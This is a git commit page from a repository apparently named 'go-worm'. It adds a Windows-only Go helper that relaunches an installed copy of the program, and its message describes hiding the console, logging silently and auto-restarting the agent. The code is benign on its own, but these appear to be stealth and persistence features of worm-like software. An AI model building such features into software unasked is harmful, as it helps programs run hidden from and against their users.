refactor(core): add headless run and auto-restart
- Run without console by default - Log to file once console hidden - Recover panics in background goroutines - Restart agent after unexpected errors - Use shared instance launch helper
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
//go:build windows
|
||||
|
||||
package install
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
)
|
||||
|
||||
func relaunchInstalled(target string) error {
|
||||
if err := instance.Launch(target, os.Args[1:]); err != nil {
|
||||
return fmt.Errorf("relaunch from %s: %w", target, err)
|
||||
}
|
||||
os.Exit(0)
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user